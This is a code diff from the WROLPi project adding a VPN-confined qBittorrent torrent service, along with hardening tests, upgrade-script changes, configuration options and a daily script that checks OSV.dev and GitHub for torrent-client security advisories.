assert 'BindReadOnlyPaths=/etc/netns/wrolpi-vpn/resolv.conf:/etc/resolv.conf' in unit
assert '--allow 10.211.0.1/32' in unit
assert 'ProtectSystem=strict' in unit and 'ReadWritePaths=/media/wrolpi' in unit
# Never WROLPi's config; qBittorrent's own state is outside the library.
assert 'ReadOnlyPaths=/media/wrolpi/config' in unit
assert '--profile=/var/lib/wrolpi-torrent' in unit and 'StateDirectory=wrolpi-torrent' in unit
assert 'User=wrolpi' in unit
for hardening in ('CapabilityBoundingSet=\n', 'PrivateDevices=yes', 'SystemCallFilter=@system-service',
'RestrictAddressFamilies=AF_INET AF_INET6 AF_UNIX AF_NETLINK', 'RestrictNamespaces=yes'):
assert hardening in unit, hardening
for script in ('repair.sh', 'pi-gen/stage2/04-wrolpi/03-run-chroot.sh',
'debian-live-config/config/includes.chroot/usr/local/sbin/wrolpi-bootstrap.sh',
'etc/raspberrypios/wrolpi.target'):
assert 'wrolpi-torrent.service' in (REPOSITORY / script).read_text(), script
for packages in ('pi-gen/stage2/04-wrolpi/01-packages-nr',
'debian-live-config/config/package-lists/wrolpi.list.chroot'):
assert 'qbittorrent-nox' in (REPOSITORY / packages).read_text().splitlines()
def test_upgrades_keep_qbittorrent_patched(self):
upgrade = (REPOSITORY / 'scripts/upgrade.sh').read_text()
assert '--only-upgrade' in upgrade and "'libtorrent-rasterbar*'" in upgrade
assert 'docker compose build --pull --no-cache vpn' in (REPOSITORY / 'UPGRADE.md').read_text()
@staticmethod
def run_upgrade_blocks(tmp_path, installed: bool, online: bool = False) -> subprocess.CompletedProcess:
"""Run upgrade.sh's torrent install and patch blocks under set -e, offline (apt-get update fails) unless
`online`."""
upgrade = (REPOSITORY / 'scripts/upgrade.sh').read_text()
start = upgrade.index('# Install torrents (qBittorrent)')
patch = upgrade.index('if command -v qbittorrent-nox')
block = upgrade[start:upgrade.index('\nfi\n', patch) + 4]
bin_ = tmp_path / 'bin'
bin_.mkdir()
update = 'exit 0' if online else '[ "$1" != update ]'
stubs = [('dpkg-query', 'exit 0'), ('apt-get', f'echo "$@" >> {tmp_path}/apt; {update}')]
if installed:
stubs += [(name, 'exit 0') for name in ('nft', 'openvpn', 'wg', 'qbittorrent-nox')]
for name, body in stubs:
(bin_ / name).write_text(f'#!/bin/sh\n{body}\n')
(bin_ / name).chmod(0o755)
script = tmp_path / 'block.sh'
script.write_text(f'set -e\n{block}\necho reached repair\n')
# Only the stubs and a shell: the machine running the tests may have the real tools.
(bin_ / 'echo').symlink_to('/bin/echo')
return subprocess.run(['/bin/bash', str(script)], capture_output=True, text=True, env={'PATH': str(bin_)})
@pytest.mark.parametrize('installed', [True, False], ids=['patch', 'install'])
def test_offline_upgrade_continues(self, tmp_path, installed):
"""WROLPi is often offline: a failed apt-get update must not end upgrade.sh (set -e) before repair.sh, whether
the torrent tools are installed (patch them) or not yet (install them)."""
result = self.run_upgrade_blocks(tmp_path, installed)
assert result.returncode == 0, result.stderr
assert 'reached repair' in result.stdout
# Nothing is installed or upgraded from stale lists.
assert 'install' not in (tmp_path / 'apt').read_text()
def test_install_skips_recommended_packages(self, tmp_path):
"""Recommends pulled in pcscd, opensc, easy-rsa and an enabled openvpn.service, none of which WROLPi uses."""
result = self.run_upgrade_blocks(tmp_path, installed=False, online=True)
assert result.returncode == 0, result.stderr
installs = [line for line in (tmp_path / 'apt').read_text().splitlines()
if line.startswith('install') and '--only-upgrade' not in line]
assert installs and all('--no-install-recommends' in line for line in installs), installs
def test_docker(self):
"""qBittorrent shares the tunnel's container: a container joined to another's network keeps the old, dead
one when that container is recreated, so torrents would silently stop."""
compose = yaml.safe_load((REPOSITORY / 'docker-compose.yml').read_text())
assert 'torrent' not in compose['services']
vpn = compose['services']['vpn']
assert './test/config:/media/wrolpi/config:ro' in vpn['volumes']
assert 'torrent-profile:/profile' in vpn['volumes']
assert vpn['cap_drop'] == ['ALL'] and set(vpn['cap_add']) == {'NET_ADMIN', 'SETUID', 'SETGID', 'SETPCAP', 'KILL'}
assert 'no-new-privileges:true' in vpn['security_opt']
assert '8091:8091' in compose['services']['web']['ports']
dockerfile = (REPOSITORY / 'docker/vpn/Dockerfile').read_text()
assert 'qbittorrent-nox' in dockerfile and 'qbittorrent_prepare.py' in dockerfile
entrypoint = (REPOSITORY / 'docker/vpn/entrypoint.sh').read_text()
# qBittorrent starts only after the kill switch, unprivileged, and the container stops if either stops.
assert entrypoint.index('while [ ! -f "${STATUS}" ]') < entrypoint.index('setpriv')
assert '--bounding-set=-all' in entrypoint and '--no-new-privs' in entrypoint
@pytest.mark.parametrize('caddyfile,upstream', [('etc/raspberrypios/Caddyfile', '10.211.0.2:8091'),
('docker/web/Caddyfile', 'vpn:8091')])
def test_caddy_serves_the_webui_but_not_its_settings(self, caddyfile, upstream):
text = (REPOSITORY / caddyfile).read_text()
block = text[text.index(':8091 {'):]
block = block[:block.index('\n}\n')]
assert f'reverse_proxy {upstream}' in block
for refused in ('/api/v2/app/setPreferences', '/api/v2/app/shutdown', '/api/v2/search/*'):
assert refused in block, refused
assert 'respond @qbittorrent_settings' in block
assert 'tls ' in block

View file

@ -50,10 +50,12 @@ libtool
libxml2-dev
netcat-openbsd
network-manager
nftables
nicstat
nodejs
npm
ntfs-3g
openvpn
pkg-config
pv
python3-dev
@ -61,6 +63,7 @@ python3-doc
python3-full
python3-pip
python3-venv
qbittorrent-nox
rsync
samba
smartmontools
@ -74,6 +77,7 @@ unzip
vim
vlc
wget
wireguard-tools
zim-tools
zlib1g-dev
libegl1

View file

@ -108,6 +108,9 @@ systemctl enable wrolpi-first-startup.service
systemctl enable wrolpi-controller.service
# Serve the library to secondary WROLPis.
systemctl enable wrolpi-rsyncd.service
# The VPN for torrents; idles until a VPN is set up.
systemctl enable wrolpi-vpn.service
systemctl enable wrolpi-torrent.service
# Enable weekly certificate renewal check.
systemctl enable wrolpi-cert-renew.timer

View file

@ -0,0 +1,129 @@
#!/usr/bin/env python3
"""
Warn the WROLPi maintainer about security problems in the torrent client WROLPis run.
qBittorrent faces the Internet (the VPN forwards a port to it), so a flaw in it, or in libtorrent, needs a WROLPi
release quickly. Daily (wrolpi-torrent-advisories.timer), this asks OSV.dev, which collects Debian's security tracker,
for the vulnerabilities affecting the exact versions Debian ships, and checks for new upstream releases (often where a
fix appears first). Anything not seen before is sent to the notify command.
WROLPI_ADVISORY_NOTIFY A command which takes a message as its only argument (e.g. a Pushover script). Unset: print.
WROLPI_ADVISORY_STATE Where what has been seen is kept (default /var/lib/wrolpi-torrent-advisories/seen.json).
Run it on a machine with Debian's apt sources for the release WROLPis run (it asks apt which versions Debian ships).
"""
import json
import os
import pathlib
import re
import subprocess
import sys
import urllib.request
DEBIAN_RELEASE = '13'
# (Debian binary package apt is asked about, its source package as OSV names it, its upstream GitHub repository, whether
# upstream fixes the series Debian ships: libtorrent maintains 2.0.x beside 2.1.x; qBittorrent fixes only its newest)
PACKAGES = (
('qbittorrent-nox', 'qbittorrent', 'qbittorrent/qBittorrent', False),
('libtorrent-rasterbar2.0t64', 'libtorrent-rasterbar', 'arvidn/libtorrent', True),
)
STATE = pathlib.Path(os.environ.get('WROLPI_ADVISORY_STATE', '/var/lib/wrolpi-torrent-advisories/seen.json'))
TIMEOUT = 30
USER_AGENT = 'wrolpi-torrent-advisories'
def debian_version(binary_package: str) -> str:
"""The version of a package Debian ships (apt's candidate)."""
output = subprocess.run(['apt-cache', 'policy', binary_package], capture_output=True, text=True).stdout
match = re.search(r'Candidate:\s*(\S+)', output)
if not match or match.group(1) == '(none)':
raise RuntimeError(f'apt does not know {binary_package}; is this machine on Debian {DEBIAN_RELEASE}?')
return match.group(1)
def upstream_version(debian_version_: str) -> str:
"""5.1.0-2 -> 5.1.0; 1:2.0.11-1+b1 -> 2.0.11"""
return debian_version_.split(':')[-1].split('-')[0].split('+')[0]
def fetch_json(url: str, data: dict = None):
request = urllib.request.Request(url, data=json.dumps(data).encode() if data else None,
headers={'User-Agent': USER_AGENT, 'Content-Type': 'application/json'})
with urllib.request.urlopen(request, timeout=TIMEOUT) as response:
return json.loads(response.read())
def vulnerabilities(source_package: str, version: str) -> list[dict]:
reply = fetch_json('https://api.osv.dev/v1/query', {
'version': version, 'package': {'name': source_package, 'ecosystem': f'Debian:{DEBIAN_RELEASE}'}})
return reply.get('vulns') or []
def version_key(version: str) -> tuple:
return tuple(int(i) for i in re.findall(r'\d+', version))
def latest_release(repository: str, series: str = None) -> str | None:
"""The newest upstream release's version (e.g. tag 'release-5.1.2' -> '5.1.2'), in `series` (e.g. '2.0') if given."""
versions = []
for release in fetch_json(f'https://api.github.com/repos/{repository}/releases?per_page=50'):
match = re.search(r'\d+(\.\d+)+', release.get('tag_name') or '')
if match and not release.get('prerelease') and not release.get('draft'):
version = match.group(0)
if series is None or version.startswith(f'{series}.'):
versions.append(version)
return max(versions, key=version_key) if versions else None
def findings() -> dict[str, str]:
"""Everything worth knowing now, by a key which stays the same while it is true."""
found = {}
for binary_package, source_package, repository, same_series in PACKAGES:
version = debian_version(binary_package)
for vulnerability in vulnerabilities(source_package, version):
summary = vulnerability.get('summary') or vulnerability.get('details', '')[:120] or ''
aliases = ', '.join(vulnerability.get('aliases') or [])
found[f'{source_package}:{vulnerability["id"]}'] = \
f'{source_package} {version} (Debian {DEBIAN_RELEASE}): {vulnerability["id"]}' \
f'{f" ({aliases})" if aliases else ""} {summary}'.strip()
series = '.'.join(upstream_version(version).split('.')[:2]) if same_series else None
latest = latest_release(repository, series)
if latest and version_key(latest) > version_key(upstream_version(version)):
found[f'{source_package}:release:{latest}'] = \
f'{source_package} {latest} is out upstream; Debian {DEBIAN_RELEASE} ships {version}. Check its ' \
f'changes for security fixes: https://github.com/{repository}/releases'
return found
def notify(message: str):
command = os.environ.get('WROLPI_ADVISORY_NOTIFY')
if command:
subprocess.run([command, message], check=False)
else:
print(message)
def main() -> int:
try:
found = findings()
except Exception as e:
notify(f'WROLPi torrent advisory check failed: {e}')
return 1
try:
seen = set(json.loads(STATE.read_text()))
except (FileNotFoundError, json.JSONDecodeError):
seen = set()
new = {key: message for key, message in found.items() if key not in seen}
if new:
notify('WROLPi torrent client advisories (qBittorrent faces the Internet through the VPN):\n\n'
+ '\n\n'.join(new.values()))
else:
print(f'Nothing new ({len(found)} known).')
STATE.parent.mkdir(parents=True, exist_ok=True)
# Forget what is no longer true (e.g. a fixed version shipped), so it is told again if it comes back.
STATE.write_text(json.dumps(sorted(found)))
return 0
if __name__ == '__main__':
sys.exit(main())

View file

@ -0,0 +1,10 @@
[Unit]
Description=Warn about security problems in the torrent client WROLPis run
After=network-online.target
Wants=network-online.target
[Service]
Type=oneshot
# WROLPI_ADVISORY_NOTIFY (e.g. a Pushover script) is set in a drop-in.
ExecStart=/usr/bin/python3 /home/roland/projects/wrolpi/release/torrent-advisories.py
StateDirectory=wrolpi-torrent-advisories

View file

@ -0,0 +1,10 @@
[Unit]
Description=Daily check for torrent client security problems
[Timer]
OnCalendar=daily
RandomizedDelaySec=1h
Persistent=true
[Install]
WantedBy=timers.target

View file

@ -97,6 +97,10 @@ systemctl enable wrolpi-tiles.service
systemctl enable wrolpi-help.service
systemctl enable wrolpi-mounts.service
systemctl enable wrolpi-rsyncd.service
# Idles until a VPN is set up; torrents only reach the Internet through it.
systemctl enable wrolpi-vpn.service
# Torrents, inside the VPN; they stop whenever the VPN does.
systemctl enable wrolpi-torrent.service
systemctl enable wrolpi-cert-renew.timer
# Repair Controller (offline-safe - no pip install)

View file

@ -314,6 +314,38 @@ if ! command -v dnsmasq &>/dev/null || ! command -v iw &>/dev/null || ! command
-o Dpkg::Options::=--force-confdef -o Dpkg::Options::=--force-confold dnsmasq-base iw rfkill
fi
# Install torrents (qBittorrent) and the VPN tools they use (the kill switch is nftables) if not already installed.
if ! command -v nft &>/dev/null || ! command -v openvpn &>/dev/null || ! command -v wg &>/dev/null \
|| ! command -v qbittorrent-nox &>/dev/null; then
echo "Installing nftables, openvpn, wireguard-tools, qbittorrent-nox..."
# An existing WROLPi may upgrade to this offline: without the tools torrents cannot run (the VPN refuses to start
# without nftables), but the rest of the upgrade still applies, and a later, online upgrade installs them.
if apt-get update; then
# Not their recommends (pcscd, opensc, easy-rsa, and an enabled openvpn.service), which WROLPi does not use.
DEBIAN_FRONTEND=noninteractive apt-get install -y --no-install-recommends \
-o Dpkg::Options::=--force-confdef -o Dpkg::Options::=--force-confold nftables openvpn wireguard-tools \
qbittorrent-nox || echo "Installing the torrent and VPN tools failed, continuing..."
else
echo "Could not refresh apt (offline?); not installing the torrent and VPN tools, continuing..."
fi
fi
# qBittorrent faces the Internet (the VPN forwards a port to it): keep it, and libtorrent, as patched as Debian makes
# them, on every upgrade.
if command -v qbittorrent-nox &>/dev/null; then
echo "Upgrading qbittorrent-nox and libtorrent..."
# Often offline: a failed refresh skips this (a later, online upgrade patches it) rather than ending the upgrade.
if apt-get update; then
# shellcheck disable=SC2046
DEBIAN_FRONTEND=noninteractive apt-get install -y --only-upgrade \
-o Dpkg::Options::=--force-confdef -o Dpkg::Options::=--force-confold qbittorrent-nox \
$(dpkg-query -W -f='${binary:Package}\n' 'libtorrent-rasterbar*' 2>/dev/null) || \
echo "Upgrading qbittorrent-nox failed, continuing..."
else
echo "Could not refresh apt (offline?); not upgrading qbittorrent-nox, continuing..."
fi
fi
# Install Mesa's EGL and GL drivers if missing (the map tile service draws with them).
if ! ldconfig -p | grep -q 'libEGL.so.1 ' || ! ldconfig -p | grep -q libEGL_mesa \
|| ! ldconfig -p | grep -q 'libGLESv2.so.2 '; then

View file

@ -33,7 +33,6 @@ wrolpi/files/test/test_worker_move.py: unused import 'worker_module'
wrolpi/flags.py: unused variable 'exc_tb'
wrolpi/flags.py: unused variable 'exc_type'
wrolpi/flags.py: unused variable 'exc_val'
wrolpi/jobs.py: unused method 'cancel_requested'
wrolpi/logging_extra.py: unused class 'EmptyMessageFilter'
wrolpi/media_path.py: unused method 'process_result_value'
wrolpi/media_path.py: unused variable 'PATH_TYPE'

View file

@ -1443,6 +1443,9 @@ class WROLPiConfigValidator:
download_timeout: int = None
download_wait: int = None
download_window_start: str = None
torrent_download_limit: int = None
torrent_trackers: list = None
torrent_upload_limit: int = None
download_window_end: str = None
hotspot_device: str = None
hotspot_on_startup: bool = None
@ -1777,6 +1780,11 @@ class WROLPiConfig(ConfigFile):
download_timeout=0,
download_wait=20,
download_window_start=None,
# Torrents' total speed limits, in KiB/s; 0 is unlimited.
torrent_download_limit=0,
torrent_upload_limit=0,
# Trackers a torrent made from the library ("Share as torrent") announces to, besides DHT and PEX.
torrent_trackers=['udp://tracker.opentrackr.org:1337/announce', 'udp://tracker.torrent.eu.org:451/announce'],
download_window_end=None,
hotspot_device='wlan0',
hotspot_on_startup=True,
@ -1856,6 +1864,8 @@ class WROLPiConfig(ConfigFile):
if repos_root not in ignored:
ignored.append(repos_root)
self._config['ignored_directories'] = ignored
write_wrol_mode_flag(bool(self._config.get('wrol_mode')))
except Exception as e:
self.successful_import = False
message = f'Failed to import {self.file_name}'
@ -1913,6 +1923,31 @@ class WROLPiConfig(ConfigFile):
def download_timeout(self, value: int):
self.update({'download_timeout': value})
@property
def torrent_download_limit(self) -> int:
return self._config.get('torrent_download_limit') or 0
@torrent_download_limit.setter
def torrent_download_limit(self, value: int):
self.update({'torrent_download_limit': value})
@property
def torrent_trackers(self) -> list:
trackers = self._config.get('torrent_trackers')
return list(trackers) if trackers is not None else []
@torrent_trackers.setter
def torrent_trackers(self, value: list):
self.update({'torrent_trackers': value})
@property
def torrent_upload_limit(self) -> int:
return self._config.get('torrent_upload_limit') or 0
@torrent_upload_limit.setter
def torrent_upload_limit(self, value: int):
self.update({'torrent_upload_limit': value})
@property
def download_wait(self) -> int:
return self._config.get('download_wait', 20)
@ -2052,6 +2087,7 @@ class WROLPiConfig(ConfigFile):
@wrol_mode.setter
def wrol_mode(self, value: bool):
self.update({'wrol_mode': value})
write_wrol_mode_flag(bool(value))
@property
def ignored_directories(self) -> List[str]:
@ -2161,6 +2197,23 @@ def set_test_config(enable: bool):
TEST_WROLPI_CONFIG = WROLPiConfig() if enable else None
WROL_MODE_FLAG = '.wrol_mode'
def write_wrol_mode_flag(enabled: bool):
"""The Controller (its disk, sync, and VPN tunnel code) cannot read this process's config; it reads WROL Mode from
config/.wrol_mode, which must exist exactly while WROL Mode is enabled."""
flag = get_media_directory() / 'config' / WROL_MODE_FLAG
try:
if enabled:
flag.parent.mkdir(parents=True, exist_ok=True)
flag.touch()
else:
flag.unlink(missing_ok=True)
except OSError as e:
logger_.error(f'Could not {"write" if enabled else "remove"} {flag}', exc_info=e)
def wrol_mode_enabled() -> bool:
"""Return True if WROL Mode is enabled."""
return get_wrolpi_config().wrol_mode

View file

@ -29,6 +29,9 @@ def attach_shared_contexts(app: Sanic):
app.shared_ctx.wrolpi_config = manager.dict()
app.shared_ctx.tags_config = manager.dict()
app.shared_ctx.inventories_config = manager.dict()
app.shared_ctx.torrents_config = manager.dict()
# How many torrents there are and the VPN's state, for /api/status (the torrents worker keeps it).
app.shared_ctx.torrents_summary = manager.dict()
app.shared_ctx.catalog_config = manager.dict()
app.shared_ctx.channels_config = manager.dict()
app.shared_ctx.download_manager_config = manager.dict()
@ -130,6 +133,8 @@ def reset_shared_contexts(app: Sanic):
app.shared_ctx.wrolpi_config.clear()
app.shared_ctx.tags_config.clear()
app.shared_ctx.inventories_config.clear()
app.shared_ctx.torrents_config.clear()
app.shared_ctx.torrents_summary.clear()
app.shared_ctx.catalog_config.clear()
app.shared_ctx.channels_config.clear()
app.shared_ctx.download_manager_config.clear()
@ -271,6 +276,13 @@ def initialize_configs_contexts(app: Sanic):
except Exception as e:
logger.error(f'Failed to initialize in-memory inventories config: {e}')
try:
# Torrents are config-only (no DB); the shared dict is keyed by the torrent's hash.
from modules.torrents.lib import get_torrents_config
get_torrents_config().initialize(app.shared_ctx.torrents_config)
except Exception as e:
logger.error(f'Failed to initialize in-memory torrents config: {e}')
try:
from modules.inventory.catalog import get_catalog_config
get_catalog_config().initialize(app.shared_ctx.catalog_config)

View file

@ -19,6 +19,7 @@ from modules.flasher.api import flasher_bp
from modules.inventory import inventory_bp
from modules.map.api import map_bp
from modules.repos.api import repos_bp
from modules.torrents import torrents_bp
from modules.videos.api import videos_bp
from modules.zim.api import zim_bp
from wrolpi import flags, schema, dates
@ -72,6 +73,7 @@ api_app.blueprint(map_bp)
api_app.blueprint(repos_bp)
api_app.blueprint(speedtest_bp)
api_app.blueprint(sync_bp)
api_app.blueprint(torrents_bp)
api_app.blueprint(videos_bp)
api_app.blueprint(zim_bp)
@ -637,6 +639,8 @@ async def get_status(request: Request):
sanic_workers=sanic_workers,
version=__version__,
wrol_mode=wrol_mode_enabled(),
# How many torrents there are, and whether the VPN they use is connected (for the navigation's warning).
torrents=dict(getattr(api_app.shared_ctx, 'torrents_summary', None) or {}),
# Include all stats from status worker (includes upgrade info and git_branch).
**api_app.shared_ctx.status,
)

View file

@ -221,6 +221,14 @@ class BackupStatusResponse:
files_to_check: int
@dataclass
class TorrentsSummaryResponse:
"""What the navigation needs to warn that torrents are stopped; empty until the torrents worker has run."""
count: int
vpn_state: Optional[str]
running: bool
@dataclass
class StatusResponse:
"""The response of GET /api/status.
@ -254,6 +262,7 @@ class StatusResponse:
version: str
# `str` here was wrong too; wrol_mode_enabled() returns a bool.
wrol_mode: bool
torrents: TorrentsSummaryResponse
# Upgrade info, seeded in contexts.py and refreshed by the upgrade check.
commits_behind: int
current_commit: Optional[str]

View file

@ -152,6 +152,7 @@ def config_classes() -> list:
import modules.inventory.common # noqa
import modules.map.pins # noqa
import modules.repos.lib # noqa
import modules.torrents.lib # noqa
import modules.videos.lib # noqa
import wrolpi.bookmarks # noqa
import wrolpi.collections.config # noqa

View file

@ -1459,3 +1459,28 @@ async def test_cancel_background_tasks_does_not_raise_for_cancelled_children():
assert all(t.cancelled() for t in tasks)
assert not any(t in BACKGROUND_TASKS for t in tasks)
@pytest.mark.asyncio
async def test_wrol_mode_flag_file(test_directory, test_wrolpi_config, wrol_mode_fixture):
"""The Controller (and the VPN tunnel it runs) cannot read the API's config in memory; WROL Mode is shared with it
through config/.wrol_mode."""
flag = test_directory / 'config/.wrol_mode'
assert not flag.exists()
await wrol_mode_fixture(True)
assert flag.is_file()
await wrol_mode_fixture(False)
assert not flag.exists()
@pytest.mark.asyncio
async def test_wrol_mode_flag_file_follows_import(test_directory, test_wrolpi_config):
"""A hand-edited wrolpi.yaml turns the flag on or off when it is imported."""
flag = test_directory / 'config/.wrol_mode'
test_wrolpi_config.parent.mkdir(parents=True, exist_ok=True)
test_wrolpi_config.write_text('wrol_mode: true\n')
get_wrolpi_config().import_config()
assert flag.is_file()
test_wrolpi_config.write_text('wrol_mode: false\n')
get_wrolpi_config().import_config()
assert not flag.exists()